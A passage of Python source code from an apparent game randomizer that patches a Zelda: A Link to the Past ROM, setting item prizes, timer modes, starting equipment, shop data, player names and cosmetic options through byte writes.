0xFF, 0xFF, 0xFF, 0xFF, # end of table sentinel
])
# set Fountain bottle exchange items
if world.difficulty[player] in ['hard', 'expert']:
rom.write_byte(0x348FF, [0x16, 0x2B, 0x2C, 0x2D, 0x3C, 0x48][random.randint(0, 5)])
rom.write_byte(0x3493B, [0x16, 0x2B, 0x2C, 0x2D, 0x3C, 0x48][random.randint(0, 5)])
else:
rom.write_byte(0x348FF, [0x16, 0x2B, 0x2C, 0x2D, 0x3C, 0x3D, 0x48][random.randint(0, 6)])
rom.write_byte(0x3493B, [0x16, 0x2B, 0x2C, 0x2D, 0x3C, 0x3D, 0x48][random.randint(0, 6)])
#enable Fat Fairy Chests
rom.write_bytes(0x1FC16, [0xB1, 0xC6, 0xF9, 0xC9, 0xC6, 0xF9])
# set Fat Fairy Bow/Sword prizes to be disappointing
rom.write_byte(0x34914, 0x3A) # Bow and Arrow
rom.write_byte(0x180028, 0x49) # Fighter Sword
# enable Waterfall fairy chests
rom.write_bytes(0xE9AE, [0x14, 0x01])
rom.write_bytes(0xE9CF, [0x14, 0x01])
rom.write_bytes(0x1F714, [225, 0, 16, 172, 13, 41, 154, 1, 88, 152, 15, 17, 177, 97, 252, 77, 129, 32, 218, 2, 44, 225, 97, 252, 190, 129, 97, 177, 98, 84, 218, 2,
253, 141, 131, 68, 225, 98, 253, 30, 131, 49, 165, 201, 49, 164, 105, 49, 192, 34, 77, 164, 105, 49, 198, 249, 73, 198, 249, 16, 153, 160, 92, 153,
162, 11, 152, 96, 13, 232, 192, 85, 232, 192, 11, 146, 0, 115, 152, 96, 254, 105, 0, 152, 163, 97, 254, 107, 129, 254, 171, 133, 169, 200, 97, 254,
174, 129, 255, 105, 2, 216, 163, 98, 255, 107, 131, 255, 43, 135, 201, 200, 98, 255, 46, 131, 254, 161, 0, 170, 33, 97, 254, 166, 129, 255, 33, 2,
202, 33, 98, 255, 38, 131, 187, 35, 250, 195, 35, 250, 187, 43, 250, 195, 43, 250, 187, 83, 250, 195, 83, 250, 176, 160, 61, 152, 19, 192, 152, 82,
192, 136, 0, 96, 144, 0, 96, 232, 0, 96, 240, 0, 96, 152, 202, 192, 216, 202, 192, 216, 19, 192, 216, 82, 192, 252, 189, 133, 253, 29, 135, 255,
255, 255, 255, 240, 255, 128, 46, 97, 14, 129, 14, 255, 255])
# set Waterfall fairy prizes to be disappointing
rom.write_byte(0x348DB, 0x3A) # Red Boomerang becomes Red Boomerang
rom.write_byte(0x348EB, 0x05) # Blue Shield becomes Blue Shield
# Remove Statues for upgrade fairy
rom.write_bytes(0x01F810, [0x1A, 0x1E, 0x01, 0x1A, 0x1E, 0x01])
rom.write_byte(0x180029, 0x01) # Smithy quick item give
# set swordless mode settings
rom.write_byte(0x18003F, 0x01 if world.swords[player] == 'swordless' else 0x00) # hammer can harm ganon
rom.write_byte(0x180040, 0x01 if world.swords[player] == 'swordless' else 0x00) # open curtains
rom.write_byte(0x180041, 0x01 if world.swords[player] == 'swordless' else 0x00) # swordless medallions
rom.write_byte(0x180043, 0xFF if world.swords[player] == 'swordless' else 0x00) # starting sword for link
rom.write_byte(0x180044, 0x01 if world.swords[player] == 'swordless' else 0x00) # hammer activates tablets
# set up clocks for timed modes
if world.shuffle[player] == 'vanilla':
ERtimeincrease = 0
elif world.shuffle[player] in ['dungeonssimple', 'dungeonsfull']:
ERtimeincrease = 10
else:
ERtimeincrease = 20
if world.keyshuffle[player] or world.bigkeyshuffle[player] or world.mapshuffle[player]:
ERtimeincrease = ERtimeincrease + 15
if world.clock_mode[player] == False:
rom.write_bytes(0x180190, [0x00, 0x00, 0x00]) # turn off clock mode
write_int32(rom, 0x180200, 0) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 0) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 0) # green clock adjustment time (in frames, sint32)
write_int32(rom, 0x18020C, 0) # starting time (in frames, sint32)
elif world.clock_mode[player] == 'ohko':
rom.write_bytes(0x180190, [0x01, 0x02, 0x01]) # ohko timer with resetable timer functionality
write_int32(rom, 0x180200, 0) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 0) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 0) # green clock adjustment time (in frames, sint32)
write_int32(rom, 0x18020C, 0) # starting time (in frames, sint32)
elif world.clock_mode[player] == 'countdown-ohko':
rom.write_bytes(0x180190, [0x01, 0x02, 0x01]) # ohko timer with resetable timer functionality
write_int32(rom, 0x180200, -100 * 60 * 60 * 60) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 2 * 60 * 60) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 4 * 60 * 60) # green clock adjustment time (in frames, sint32)
if world.difficulty_adjustments[player] == 'normal':
write_int32(rom, 0x18020C, (10 + ERtimeincrease) * 60 * 60) # starting time (in frames, sint32)
else:
write_int32(rom, 0x18020C, int((5 + ERtimeincrease / 2) * 60 * 60)) # starting time (in frames, sint32)
if world.clock_mode[player] == 'stopwatch':
rom.write_bytes(0x180190, [0x02, 0x01, 0x00]) # set stopwatch mode
write_int32(rom, 0x180200, -2 * 60 * 60) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 2 * 60 * 60) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 4 * 60 * 60) # green clock adjustment time (in frames, sint32)
write_int32(rom, 0x18020C, 0) # starting time (in frames, sint32)
if world.clock_mode[player] == 'countdown':
rom.write_bytes(0x180190, [0x01, 0x01, 0x00]) # set countdown, with no reset available
write_int32(rom, 0x180200, -2 * 60 * 60) # red clock adjustment time (in frames, sint32)
write_int32(rom, 0x180204, 2 * 60 * 60) # blue clock adjustment time (in frames, sint32)
write_int32(rom, 0x180208, 4 * 60 * 60) # green clock adjustment time (in frames, sint32)
write_int32(rom, 0x18020C, (40 + ERtimeincrease) * 60 * 60) # starting time (in frames, sint32)
# set up goals for treasure hunt
rom.write_bytes(0x180165, [0x0E, 0x28] if world.treasure_hunt_icon[player] == 'Triforce Piece' else [0x0D, 0x28])
rom.write_byte(0x180167, world.treasure_hunt_count[player] % 256)
rom.write_byte(0x180194, 1) # Must turn in triforced pieces (instant win not enabled)
rom.write_bytes(0x180213, [0x00, 0x01]) # Not a Tournament Seed
gametype = 0x04 # item
if world.shuffle[player] != 'vanilla':
gametype |= 0x02 # entrance
if enemized:
gametype |= 0x01 # enemizer
rom.write_byte(0x180211, gametype) # Game type
# assorted fixes
rom.write_byte(0x1800A2, 0x01) # remain in real dark world when dying in dark world dungeon before killing aga1
rom.write_byte(0x180169, 0x01 if world.lock_aga_door_in_escape else 0x00) # Lock or unlock aga tower door during escape sequence.
if world.mode[player] == 'inverted':
rom.write_byte(0x180169, 0x02) # lock aga/ganon tower door with crystals in inverted
rom.write_byte(0x180171, 0x01 if world.ganon_at_pyramid[player] else 0x00) # Enable respawning on pyramid after ganon death
rom.write_byte(0x180173, 0x01) # Bob is enabled
rom.write_byte(0x180168, 0x08) # Spike Cave Damage
rom.write_bytes(0x18016B, [0x04, 0x02, 0x01]) #Set spike cave and MM spike room Cape usage
rom.write_bytes(0x18016E, [0x04, 0x08, 0x10]) #Set spike cave and MM spike room Cape usage
rom.write_bytes(0x50563, [0x3F, 0x14]) # disable below ganon chest
rom.write_byte(0x50599, 0x00) # disable below ganon chest
rom.write_bytes(0xE9A5, [0x7E, 0x00, 0x24]) # disable below ganon chest
rom.write_byte(0x18008B, 0x01 if world.open_pyramid[player] else 0x00) # pre-open Pyramid Hole
rom.write_byte(0x18008C, 0x01 if world.crystals_needed_for_gt[player] == 0 else 0x00) # GT pre-opened if crystal requirement is 0
rom.write_byte(0xF5D73, 0xF0) # bees are catchable
rom.write_byte(0xF5F10, 0xF0) # bees are catchable
rom.write_byte(0x180086, 0x00 if world.aga_randomness else 0x01) # set blue ball and ganon warp randomness
rom.write_byte(0x1800A0, 0x01) # return to light world on s+q without mirror
rom.write_byte(0x1800A1, 0x01) # enable overworld screen transition draining for water level inside swamp
rom.write_byte(0x180174, 0x01 if world.fix_fake_world[player] else 0x00)
rom.write_byte(0x18017E, 0x01) # Fairy fountains only trade in bottles
# Starting equipment
equip = [0] * (0x340 + 0x4F)
equip[0x36C] = 0x18
equip[0x36D] = 0x18
equip[0x379] = 0x68
starting_max_bombs = 10
starting_max_arrows = 30
startingstate = CollectionState(world)
if startingstate.has('Bow', player):
equip[0x340] = 1
equip[0x38E] |= 0x20 # progressive flag to get the correct hint in all cases
if not world.retro[player]:
equip[0x38E] |= 0x80
if startingstate.has('Silver Arrows', player):
equip[0x38E] |= 0x40
if startingstate.has('Titans Mitts', player):
equip[0x354] = 2
elif startingstate.has('Power Glove', player):
equip[0x354] = 1
if startingstate.has('Golden Sword', player):
equip[0x359] = 4
elif startingstate.has('Tempered Sword', player):
equip[0x359] = 3
elif startingstate.has('Master Sword', player):
equip[0x359] = 2
elif startingstate.has('Fighter Sword', player):
equip[0x359] = 1
if startingstate.has('Mirror Shield', player):
equip[0x35A] = 3
elif startingstate.has('Red Shield', player):
equip[0x35A] = 2
elif startingstate.has('Blue Shield', player):
equip[0x35A] = 1
if startingstate.has('Red Mail', player):
equip[0x35B] = 2
elif startingstate.has('Blue Mail', player):
equip[0x35B] = 1
if startingstate.has('Magic Upgrade (1/4)', player):
equip[0x37B] = 2
equip[0x36E] = 0x80
elif startingstate.has('Magic Upgrade (1/2)', player):
equip[0x37B] = 1
equip[0x36E] = 0x80
for item in world.precollected_items:
if item.player != player:
continue
if item.name in ['Bow', 'Silver Arrows', 'Progressive Bow', 'Progressive Bow (Alt)',
'Titans Mitts', 'Power Glove', 'Progressive Glove',
'Golden Sword', 'Tempered Sword', 'Master Sword', 'Fighter Sword', 'Progressive Sword',
'Mirror Shield', 'Red Shield', 'Blue Shield', 'Progressive Shield',
'Red Mail', 'Blue Mail', 'Progressive Armor',
'Magic Upgrade (1/4)', 'Magic Upgrade (1/2)']:
continue
set_table = {'Book of Mudora': (0x34E, 1), 'Hammer': (0x34B, 1), 'Bug Catching Net': (0x34D, 1), 'Hookshot': (0x342, 1), 'Magic Mirror': (0x353, 2),
'Cape': (0x352, 1), 'Lamp': (0x34A, 1), 'Moon Pearl': (0x357, 1), 'Cane of Somaria': (0x350, 1), 'Cane of Byrna': (0x351, 1),
'Fire Rod': (0x345, 1), 'Ice Rod': (0x346, 1), 'Bombos': (0x347, 1), 'Ether': (0x348, 1), 'Quake': (0x349, 1)}
or_table = {'Green Pendant': (0x374, 0x04), 'Red Pendant': (0x374, 0x01), 'Blue Pendant': (0x374, 0x02),
'Crystal 1': (0x37A, 0x02), 'Crystal 2': (0x37A, 0x10), 'Crystal 3': (0x37A, 0x40), 'Crystal 4': (0x37A, 0x20),
'Crystal 5': (0x37A, 0x04), 'Crystal 6': (0x37A, 0x01), 'Crystal 7': (0x37A, 0x08),
'Big Key (Eastern Palace)': (0x367, 0x20), 'Compass (Eastern Palace)': (0x365, 0x20), 'Map (Eastern Palace)': (0x369, 0x20),
'Big Key (Desert Palace)': (0x367, 0x10), 'Compass (Desert Palace)': (0x365, 0x10), 'Map (Desert Palace)': (0x369, 0x10),
'Big Key (Tower of Hera)': (0x366, 0x20), 'Compass (Tower of Hera)': (0x364, 0x20), 'Map (Tower of Hera)': (0x368, 0x20),
'Big Key (Escape)': (0x367, 0xC0), 'Compass (Escape)': (0x365, 0xC0), 'Map (Escape)': (0x369, 0xC0),
'Big Key (Palace of Darkness)': (0x367, 0x02), 'Compass (Palace of Darkness)': (0x365, 0x02), 'Map (Palace of Darkness)': (0x369, 0x02),
'Big Key (Thieves Town)': (0x366, 0x10), 'Compass (Thieves Town)': (0x364, 0x10), 'Map (Thieves Town)': (0x368, 0x10),
'Big Key (Skull Woods)': (0x366, 0x80), 'Compass (Skull Woods)': (0x364, 0x80), 'Map (Skull Woods)': (0x368, 0x80),
'Big Key (Swamp Palace)': (0x367, 0x04), 'Compass (Swamp Palace)': (0x365, 0x04), 'Map (Swamp Palace)': (0x369, 0x04),
'Big Key (Ice Palace)': (0x366, 0x40), 'Compass (Ice Palace)': (0x364, 0x40), 'Map (Ice Palace)': (0x368, 0x40),
'Big Key (Misery Mire)': (0x367, 0x01), 'Compass (Misery Mire)': (0x365, 0x01), 'Map (Misery Mire)': (0x369, 0x01),
'Big Key (Turtle Rock)': (0x366, 0x08), 'Compass (Turtle Rock)': (0x364, 0x08), 'Map (Turtle Rock)': (0x368, 0x08),
'Big Key (Ganons Tower)': (0x366, 0x04), 'Compass (Ganons Tower)': (0x364, 0x04), 'Map (Ganons Tower)': (0x368, 0x04)}
set_or_table = {'Flippers': (0x356, 1, 0x379, 0x02),'Pegasus Boots': (0x355, 1, 0x379, 0x04),
'Shovel': (0x34C, 1, 0x38C, 0x04), 'Flute': (0x34C, 3, 0x38C, 0x01),
'Mushroom': (0x344, 1, 0x38C, 0x20 | 0x08), 'Magic Powder': (0x344, 2, 0x38C, 0x10),
'Blue Boomerang': (0x341, 1, 0x38C, 0x80), 'Red Boomerang': (0x341, 2, 0x38C, 0x40)}
keys = {'Small Key (Eastern Palace)': [0x37E], 'Small Key (Desert Palace)': [0x37F],
'Small Key (Tower of Hera)': [0x386],
'Small Key (Agahnims Tower)': [0x380], 'Small Key (Palace of Darkness)': [0x382],
'Small Key (Thieves Town)': [0x387],
'Small Key (Skull Woods)': [0x384], 'Small Key (Swamp Palace)': [0x381],
'Small Key (Ice Palace)': [0x385],
'Small Key (Misery Mire)': [0x383], 'Small Key (Turtle Rock)': [0x388],
'Small Key (Ganons Tower)': [0x389],
'Small Key (Universal)': [0x38B], 'Small Key (Escape)': [0x37C, 0x37D]}
bottles = {'Bottle': 2, 'Bottle (Red Potion)': 3, 'Bottle (Green Potion)': 4, 'Bottle (Blue Potion)': 5,
'Bottle (Fairy)': 6, 'Bottle (Bee)': 7, 'Bottle (Good Bee)': 8}
rupees = {'Rupee (1)': 1, 'Rupees (5)': 5, 'Rupees (20)': 20, 'Rupees (50)': 50, 'Rupees (100)': 100, 'Rupees (300)': 300}
bomb_caps = {'Bomb Upgrade (+5)': 5, 'Bomb Upgrade (+10)': 10}
arrow_caps = {'Arrow Upgrade (+5)': 5, 'Arrow Upgrade (+10)': 10}
bombs = {'Single Bomb': 1, 'Bombs (3)': 3, 'Bombs (10)': 10}
arrows = {'Single Arrow': 1, 'Arrows (10)': 10}
if item.name in set_table:
equip[set_table[item.name][0]] = set_table[item.name][1]
elif item.name in or_table:
equip[or_table[item.name][0]] |= or_table[item.name][1]
elif item.name in set_or_table:
equip[set_or_table[item.name][0]] = set_or_table[item.name][1]
equip[set_or_table[item.name][2]] |= set_or_table[item.name][3]
elif item.name in keys:
for address in keys[item.name]:
equip[address] = min(equip[address] + 1, 99)
elif item.name in bottles:
if equip[0x34F] < world.difficulty_requirements[player].progressive_bottle_limit:
equip[0x35C + equip[0x34F]] = bottles[item.name]
equip[0x34F] += 1
elif item.name in rupees:
equip[0x360:0x362] = list(min(equip[0x360] + (equip[0x361] << 8) + rupees[item.name], 9999).to_bytes(2, byteorder='little', signed=False))
equip[0x362:0x364] = list(min(equip[0x362] + (equip[0x363] << 8) + rupees[item.name], 9999).to_bytes(2, byteorder='little', signed=False))
elif item.name in bomb_caps:
starting_max_bombs = min(starting_max_bombs + bomb_caps[item.name], 50)
elif item.name in arrow_caps:
starting_max_arrows = min(starting_max_arrows + arrow_caps[item.name], 70)
elif item.name in bombs:
equip[0x343] += bombs[item.name]
elif item.name in arrows:
if world.retro[player]:
equip[0x38E] |= 0x80
equip[0x377] = 1
else:
equip[0x377] += arrows[item.name]
elif item.name in ['Piece of Heart', 'Boss Heart Container', 'Sanctuary Heart Container']:
if item.name == 'Piece of Heart':
equip[0x36B] = (equip[0x36B] + 1) % 4
if item.name != 'Piece of Heart' or equip[0x36B] == 0:
equip[0x36C] = min(equip[0x36C] + 0x08, 0xA0)
equip[0x36D] = min(equip[0x36D] + 0x08, 0xA0)
else:
raise RuntimeError(f'Unsupported item in starting equipment: {item.name}')
equip[0x343] = min(equip[0x343], starting_max_bombs)
rom.write_byte(0x180034, starting_max_bombs)
equip[0x377] = min(equip[0x377], starting_max_arrows)
rom.write_byte(0x180035, starting_max_arrows)
rom.write_bytes(0x180046, equip[0x360:0x362])
if equip[0x359]:
rom.write_byte(0x180043, equip[0x359])
assert equip[:0x340] == [0] * 0x340
rom.write_bytes(0x183000, equip[0x340:])
rom.write_bytes(0x271A6, equip[0x340:0x340+60])
rom.write_byte(0x18004A, 0x00 if world.mode[player] != 'inverted' else 0x01) # Inverted mode
rom.write_byte(0x18005D, 0x00) # Hammer always breaks barrier
rom.write_byte(0x2AF79, 0xD0 if world.mode[player] != 'inverted' else 0xF0) # vortexes: Normal (D0=light to dark, F0=dark to light, 42 = both)
rom.write_byte(0x3A943, 0xD0 if world.mode[player] != 'inverted' else 0xF0) # Mirror: Normal (D0=Dark to Light, F0=light to dark, 42 = both)
rom.write_byte(0x3A96D, 0xF0 if world.mode[player] != 'inverted' else 0xD0) # Residual Portal: Normal (F0= Light Side, D0=Dark Side, 42 = both (Darth Vader))
rom.write_byte(0x3A9A7, 0xD0) # Residual Portal: Normal (D0= Light Side, F0=Dark Side, 42 = both (Darth Vader))
rom.write_bytes(0x180080, [50, 50, 70, 70]) # values to fill for Capacity Upgrades (Bomb5, Bomb10, Arrow5, Arrow10)
rom.write_byte(0x18004D, ((0x01 if 'arrows' in world.escape_assist[player] else 0x00) |
(0x02 if 'bombs' in world.escape_assist[player] else 0x00) |
(0x04 if 'magic' in world.escape_assist[player] else 0x00))) # Escape assist
if world.goal[player] in ['pedestal', 'triforcehunt']:
rom.write_byte(0x18003E, 0x01) # make ganon invincible
elif world.goal[player] in ['dungeons']:
rom.write_byte(0x18003E, 0x02) # make ganon invincible until all dungeons are beat
elif world.goal[player] in ['crystals']:
rom.write_byte(0x18003E, 0x04) # make ganon invincible until all crystals
else:
rom.write_byte(0x18003E, 0x03) # make ganon invincible until all crystals and aga 2 are collected
rom.write_byte(0x18005E, world.crystals_needed_for_gt[player])
rom.write_byte(0x18005F, world.crystals_needed_for_ganon[player])
# block HC upstairs doors in rain state in standard mode
rom.write_byte(0x18008A, 0x01 if world.mode[player] == "standard" and world.shuffle[player] != 'vanilla' else 0x00)
rom.write_byte(0x18016A, 0x10 | ((0x01 if world.keyshuffle[player] else 0x00)
| (0x02 if world.compassshuffle[player] else 0x00)
| (0x04 if world.mapshuffle[player] else 0x00)
| (0x08 if world.bigkeyshuffle[player] else 0x00))) # free roaming item text boxes
rom.write_byte(0x18003B, 0x01 if world.mapshuffle[player] else 0x00) # maps showing crystals on overworld
# compasses showing dungeon count
if world.clock_mode[player]:
rom.write_byte(0x18003C, 0x00) # Currently must be off if timer is on, because they use same HUD location
elif world.compassshuffle[player]:
rom.write_byte(0x18003C, 0x01) # show on pickup
else:
rom.write_byte(0x18003C, 0x00)
rom.write_byte(0x180045, ((0x01 if world.keyshuffle[player] else 0x00)
| (0x02 if world.bigkeyshuffle[player] else 0x00)
| (0x04 if world.compassshuffle[player] else 0x00)
| (0x08 if world.mapshuffle[player] else 0x00))) # free roaming items in menu
# Map reveals
reveal_bytes = {
"Eastern Palace": 0x2000,
"Desert Palace": 0x1000,
"Tower of Hera": 0x0020,
"Palace of Darkness": 0x0200,
"Thieves Town": 0x0010,
"Skull Woods": 0x0080,
"Swamp Palace": 0x0400,
"Ice Palace": 0x0040,
"Misery Mire'": 0x0100,
"Turtle Rock": 0x0008,
}
def get_reveal_bytes(itemName):
locations = world.find_items(itemName, player)
if len(locations) < 1:
return 0x0000
location = locations[0]
if location.parent_region and location.parent_region.dungeon:
return reveal_bytes.get(location.parent_region.dungeon.name, 0x0000)
return 0x0000
write_int16(rom, 0x18017A, get_reveal_bytes('Green Pendant') if world.mapshuffle[player] else 0x0000) # Sahasrahla reveal
write_int16(rom, 0x18017C, get_reveal_bytes('Crystal 5')|get_reveal_bytes('Crystal 6') if world.mapshuffle[player] else 0x0000) # Bomb Shop Reveal
rom.write_byte(0x180172, 0x01 if world.retro[player] else 0x00) # universal keys
rom.write_byte(0x180175, 0x01 if world.retro[player] else 0x00) # rupee bow
rom.write_byte(0x180176, 0x0A if world.retro[player] else 0x00) # wood arrow cost
rom.write_byte(0x180178, 0x32 if world.retro[player] else 0x00) # silver arrow cost
rom.write_byte(0x301FC, 0xDA if world.retro[player] else 0xE1) # rupees replace arrows under pots
rom.write_byte(0x30052, 0xDB if world.retro[player] else 0xE2) # replace arrows in fish prize from bottle merchant
rom.write_bytes(0xECB4E, [0xA9, 0x00, 0xEA, 0xEA] if world.retro[player] else [0xAF, 0x77, 0xF3, 0x7E]) # Thief steals rupees instead of arrows
rom.write_bytes(0xF0D96, [0xA9, 0x00, 0xEA, 0xEA] if world.retro[player] else [0xAF, 0x77, 0xF3, 0x7E]) # Pikit steals rupees instead of arrows
rom.write_bytes(0xEDA5, [0x35, 0x41] if world.retro[player] else [0x43, 0x44]) # Chest game gives rupees instead of arrows
digging_game_rng = random.randint(1, 30) # set rng for digging game
rom.write_byte(0x180020, digging_game_rng)
rom.write_byte(0xEFD95, digging_game_rng)
rom.write_byte(0x1800A3, 0x01) # enable correct world setting behaviour after agahnim kills
rom.write_byte(0x1800A4, 0x01 if world.logic[player] != 'nologic' else 0x00) # enable POD EG fix
rom.write_byte(0x180042, 0x01 if world.save_and_quit_from_boss else 0x00) # Allow Save and Quit after boss kill
# remove shield from uncle
rom.write_bytes(0x6D253, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D25B, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D283, [0x00, 0x00, 0xf6, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D28B, [0x00, 0x00, 0xf7, 0xff, 0x00, 0x0E])
rom.write_bytes(0x6D2CB, [0x00, 0x00, 0xf6, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D2FB, [0x00, 0x00, 0xf7, 0xff, 0x02, 0x0E])
rom.write_bytes(0x6D313, [0x00, 0x00, 0xe4, 0xff, 0x08, 0x0E])
rom.write_byte(0x18004E, 0) # Escape Fill (nothing)
write_int16(rom, 0x180183, 300) # Escape fill rupee bow
rom.write_bytes(0x180185, [0,0,0]) # Uncle respawn refills (magic, bombs, arrows)
rom.write_bytes(0x180188, [0,0,0]) # Zelda respawn refills (magic, bombs, arrows)
rom.write_bytes(0x18018B, [0,0,0]) # Mantle respawn refills (magic, bombs, arrows)
if world.mode[player] == 'standard':
if uncle_location.item is not None and uncle_location.item.name in ['Bow', 'Progressive Bow']:
rom.write_byte(0x18004E, 1) # Escape Fill (arrows)
write_int16(rom, 0x180183, 300) # Escape fill rupee bow
rom.write_bytes(0x180185, [0,0,70]) # Uncle respawn refills (magic, bombs, arrows)
rom.write_bytes(0x180188, [0,0,10]) # Zelda respawn refills (magic, bombs, arrows)
rom.write_bytes(0x18018B, [0,0,10]) # Mantle respawn refills (magic, bombs, arrows)
elif uncle_location.item is not None and uncle_location.item.name in ['Bombs (10)']:
rom.write_byte(0x18004E, 2) # Escape Fill (bombs)
rom.write_bytes(0x180185, [0,50,0]) # Uncle respawn refills (magic, bombs, arrows)
rom.write_bytes(0x180188, [0,3,0]) # Zelda respawn refills (magic, bombs, arrows)
rom.write_bytes(0x18018B, [0,3,0]) # Mantle respawn refills (magic, bombs, arrows)
elif uncle_location.item is not None and uncle_location.item.name in ['Cane of Somaria', 'Cane of Byrna', 'Fire Rod']:
rom.write_byte(0x18004E, 4) # Escape Fill (magic)
rom.write_bytes(0x180185, [0x80,0,0]) # Uncle respawn refills (magic, bombs, arrows)
rom.write_bytes(0x180188, [0x20,0,0]) # Zelda respawn refills (magic, bombs, arrows)
rom.write_bytes(0x18018B, [0x20,0,0]) # Mantle respawn refills (magic, bombs, arrows)
# patch swamp: Need to enable permanent drain of water as dam or swamp were moved
rom.write_byte(0x18003D, 0x01 if world.swamp_patch_required[player] else 0x00)
# powder patch: remove the need to leave the screen after powder, since it causes problems for potion shop at race game
# temporarally we are just nopping out this check we will conver this to a rom fix soon.
rom.write_bytes(0x02F539, [0xEA, 0xEA, 0xEA, 0xEA, 0xEA] if world.powder_patch_required[player] else [0xAD, 0xBF, 0x0A, 0xF0, 0x4F])
# allow smith into multi-entrance caves in appropriate shuffles
if world.shuffle[player] in ['restricted', 'full', 'crossed', 'insanity']:
rom.write_byte(0x18004C, 0x01)
# set correct flag for hera basement item
hera_basement = world.get_location('Tower of Hera - Basement Cage', player)
if hera_basement.item is not None and hera_basement.item.name == 'Small Key (Tower of Hera)' and hera_basement.item.player == player:
rom.write_byte(0x4E3BB, 0xE4)
else:
rom.write_byte(0x4E3BB, 0xEB)
# fix trock doors for reverse entrances
if world.fix_trock_doors[player]:
rom.write_byte(0xFED31, 0x0E) # preopen bombable exit
rom.write_byte(0xFEE41, 0x0E) # preopen bombable exit
# included unconditionally in base2current
#rom.write_byte(0xFE465, 0x1E) # remove small key door on backside of big key door
else:
rom.write_byte(0xFED31, 0x2A) # preopen bombable exit
rom.write_byte(0xFEE41, 0x2A) # preopen bombable exit
write_strings(rom, world, player, team)
rom.write_byte(0x18636C, 1 if world.remote_items[player] else 0)
# set rom name
# 21 bytes
from Main import __version__
rom.name = bytearray(f'ER{__version__.split('-')[0].replace('.','')[0:3]}_{team+1}_{player}_{world.seed:09}\0', 'utf8')[:21]
rom.name.extend([0] * (21 - len(rom.name)))
rom.write_bytes(0x7FC0, rom.name)
# set player names
for p in range(1, min(world.players, 64) + 1):
rom.write_bytes(0x186380 + ((p - 1) * 32), hud_format_text(world.player_names[p][team]))
# Write title screen Code
hashint = int(rom.get_hash(), 16)
code = [
(hashint >> 20) & 0x1F,
(hashint >> 15) & 0x1F,
(hashint >> 10) & 0x1F,
(hashint >> 5) & 0x1F,
hashint & 0x1F,
]
rom.write_bytes(0x180215, code)
rom.hash = code
return rom
try:
import RaceRom
except ImportError:
RaceRom = None
def patch_race_rom(rom):
rom.write_bytes(0x180213, [0x01, 0x00]) # Tournament Seed
if 'RaceRom' in sys.modules:
RaceRom.encrypt(rom)
def write_custom_shops(rom, world, player):
shops = [shop for shop in world.shops if shop.custom and shop.region.player == player]
shop_data = bytearray()
items_data = bytearray()
sram_offset = 0
for shop_id, shop in enumerate(shops):
if shop_id == len(shops) - 1:
shop_id = 0xFF
bytes = shop.get_bytes()
bytes[0] = shop_id
bytes[-1] = sram_offset
if shop.type == ShopType.TakeAny:
sram_offset += 1
else:
sram_offset += shop.item_count
shop_data.extend(bytes)
# [id][item][price-low][price-high][max][repl_id][repl_price-low][repl_price-high]
for item in shop.inventory:
if item is None:
break
item_data = [shop_id, ItemFactory(item['item'], player).code] + int16_as_bytes(item['price']) + [item['max'], ItemFactory(item['replacement'], player).code if item['replacement'] else 0xFF] + int16_as_bytes(item['replacement_price'])
items_data.extend(item_data)
rom.write_bytes(0x184800, shop_data)
items_data.extend([0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF])
rom.write_bytes(0x184900, items_data)
def hud_format_text(text):
output = bytes()
for char in text.lower():
if 'a' <= char <= 'z':
output += bytes([0x5d + ord(char) - ord('a'), 0x29])
elif '0' <= char <= '8':
output += bytes([0x77 + ord(char) - ord('0'), 0x29])
elif char == '9':
output += b'\x4b\x29'
elif char == ' ':
output += b'\x7f\x00'
else:
output += b'\x2a\x29'
while len(output) < 32:
output += b'\x7f\x00'
return output[:32]
def apply_rom_settings(rom, beep, color, quickswap, fastmenu, disable_music, sprite, ow_palettes, uw_palettes):
if sprite and not isinstance(sprite, Sprite):
sprite = Sprite(sprite) if os.path.isfile(sprite) else get_sprite_from_name(sprite)
# enable instant item menu
if fastmenu == 'instant':
rom.write_byte(0x6DD9A, 0x20)
rom.write_byte(0x6DF2A, 0x20)
rom.write_byte(0x6E0E9, 0x20)
else:
rom.write_byte(0x6DD9A, 0x11)
rom.write_byte(0x6DF2A, 0x12)
rom.write_byte(0x6E0E9, 0x12)
if fastmenu == 'instant':
rom.write_byte(0x180048, 0xE8)
elif fastmenu == 'double':
rom.write_byte(0x180048, 0x10)
elif fastmenu == 'triple':
rom.write_byte(0x180048, 0x18)
elif fastmenu == 'quadruple':
rom.write_byte(0x180048, 0x20)
elif fastmenu == 'half':
rom.write_byte(0x180048, 0x04)
else:
rom.write_byte(0x180048, 0x08)
rom.write_byte(0x18004B, 0x01 if quickswap else 0x00)
rom.write_byte(0x0CFE18, 0x00 if disable_music else rom.orig_buffer[0x0CFE18] if rom.orig_buffer else 0x70)
rom.write_byte(0x0CFEC1, 0x00 if disable_music else rom.orig_buffer[0x0CFEC1] if rom.orig_buffer else 0xC0)
rom.write_bytes(0x0D0000, [0x00, 0x00] if disable_music else rom.orig_buffer[0x0D0000:0x0D0002] if rom.orig_buffer else [0xDA, 0x58])
rom.write_bytes(0x0D00E7, [0xC4, 0x58] if disable_music else rom.orig_buffer[0x0D00E7:0x0D00E9] if rom.orig_buffer else [0xDA, 0x58])
rom.write_byte(0x18021A, 1 if disable_music else 0x00)
# set heart beep rate
rom.write_byte(0x180033, {'off': 0x00, 'half': 0x40, 'quarter': 0x80, 'normal': 0x20, 'double': 0x10}[beep])
# set heart color
if color == 'random':
color = random.choice(['red', 'blue', 'green', 'yellow'])
rom.write_byte(0x6FA1E, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA20, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
rom.write_byte(0x6FA22, {'red': 0x24, 'blue': 0x2C, 'green': 0x3C, 'yellow': 0x28}[color])
